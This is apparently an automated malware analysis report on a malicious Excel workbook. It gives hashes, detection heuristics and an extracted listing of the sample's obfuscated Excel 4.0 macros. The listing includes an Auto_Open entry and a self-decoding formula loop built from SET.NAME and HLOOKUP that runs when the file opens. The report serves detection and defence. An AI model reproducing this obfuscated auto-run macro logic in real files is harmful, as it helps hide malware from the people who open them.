Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7138a507e52828f…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:50 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 947028bb3a63d2985577a0c8db7264f9 SHA-1: 756c30a06ff50d001a899c706397821b2d5e8703 SHA-256: e7138a507e52828f22541c90c9ee98596a92f6acb525f79e9392a821f40cac82
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6565 bytes
SHA-256: 8e66b0c473560a9cd441541c70accbbd9e75d850f77d2c1938faed660fb2ccd6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KGcu
' 0018     22 LABEL : Cell Value, String Constant - aEkUOCH len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F145 
' 0018     21 LABEL : Cell Value, String Constant - bsuJfP len=0 
' 0018     26 LABEL : Cell Value, String Constant - CvDAnWaYwpI len=0 
' 0018     24 LABEL : Cell Value, String Constant - dtjOpSEsx len=0 
' 0018     27 LABEL : Cell Value, String Constant - ibmqtRkNKhVQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - JoBJrx len=0 
' 0018     24 LABEL : Cell Value, String Constant - jthBFGZNT len=0 
' 0018     23 LABEL : Cell Value, String Constant - llKGDocd len=0 
' 0018     21 LABEL : Cell Value, String Constant - ltDhOf len=0 
' 0018     20 LABEL : Cell Value, String Constant - MnQWP len=0 
' 0018     22 LABEL : Cell Value, String Constant - OixDLVs len=0 
' 0018     24 LABEL : Cell Value, String Constant - opwlthFDh len=0 
' 0018     20 LABEL : Cell Value, String Constant - oSvGj len=0 
' 0018     25 LABEL : Cell Value, String Constant - OzuwpSgimj len=0 
' 0018     27 LABEL : Cell Value, String Constant - ppYLmtDXzRDs len=0 
' 0018     21 LABEL : Cell Value, String Constant - RHupjL len=0 
' 0018     27 LABEL : Cell Value, String Constant - RJNKTRJLChJX len=0 
' 0018     26 LABEL : Cell Value, String Constant - udUUizcBBCX len=0 
' 0018     21 LABEL : Cell Value, String Constant - USdhEE len=0 
' 0018     22 LABEL : Cell Value, String Constant - yaVXDBG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KGcu,R54,"",-936.00000000000000000000
'  KGcu,R55,"",-422.00000000000000000000
'  KGcu,R56,"",-141.00000000000000000000
'  KGcu,R57,"",-133.00000000000000000000
'  KGcu,F58,"SET.NAME("MnQWP",0+VALUE("0"))",""
'  KGcu,R58,"",-257.00000000000000000000
'  KGcu,R59,"",598.00000000000000000000
'  KGcu,F60,"SET.NAME("RJNKTRJLChJX",MnQWP)",""
'  KGcu,F63,"SET.NAME("ibmqtRkNKhVQ",MnQWP)",""
'  KGcu,F66,"SET.NAME("ppYLmtDXzRDs",COUNTA(ltDhOf))",""
'  KGcu,F68,"SET.NAME("oSvGj",COUNTA(RHupjL))",""
'  KGcu,F73,[],""
'  KGcu,F76,"SET.NAME("udUUizcBBCX","")",""
'  KGcu,F80,"RJNKTRJLChJX",""
'  KGcu,F83,"SET.NAME("bsuJfP",HLOOKUP("*",ltDhOf,RJNKTRJLChJX,FALSE))",""
'  KGcu,F88,"OzuwpSgimj",""
'  KGcu,F92,"SET.NAME("USdhEE",MnQWP)",""
'  KGcu,F95,[],""
'  KGcu,F97,"USdhEE",""
'  KGcu,F101,"dtjOpSEsx",""
'  KGcu,F104,"aEkUOCH",""
'  KGcu,F108,"CvDAnWaYwpI",""
'  KGcu,F113,"SET.NAME("yaVXDBG",VALUE(HLOOKUP("*",RHupjL,CvDAnWaYwpI,FALSE)))",""
'  KGcu,F115,"jthBFGZNT",""
'  KGcu,F118,"udUUizcBBCX",""
'  KGcu,F122,"ibmqtRkNKhVQ",""
'  KGcu,F127,NEXT(),""
'  KGcu,F129,"llKGDocd",""
'  KGcu,F133,[],""
'  KGcu,F135,"OixDLVs",""
'  KGcu,F139,NEXT(),""
'  KGcu,F142,RETURN(),""
'  KGcu,F174,"SET.NAME("JoBJrx",F58)",""
'  KGcu,F176,"ltDhOf",""
'  KGcu,F180,"SET.NAME("RHupjL",R71C13)",""
'  KGcu,F185,"SET.NAME("OixDLVs",192)",""
'  KGcu,F188,"SET.NAME("opwlthFDh",6)",""
'  KGcu,F191,JoBJrx(),""
'  KGcu,F192,HALT(),""

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